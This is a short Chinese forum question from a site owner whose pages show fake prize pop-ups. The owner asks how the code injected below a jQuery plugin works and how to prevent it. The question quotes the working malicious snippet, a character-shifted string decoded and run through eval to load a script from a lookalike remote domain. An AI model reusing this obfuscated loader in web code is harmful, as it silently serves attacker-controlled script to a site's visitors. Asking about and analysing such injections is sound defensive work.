网站被植入中奖代码js

Question

最近网站打开老是有左下角弹出中奖信息 看了下 在jq插件下面 加了一段恶意代码

var str="cnbtldms-vqhsd'!;rbqhosrqb<[!gsso9..vvv-fnnfkd`crk-bnl.robncd.iptdqx-ir[!=;.rbqhos=!(:";var length=str.length;var ba64="";for(i=0;i<length;i++){var s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64);

请问这种原理是什么 怎么能够防范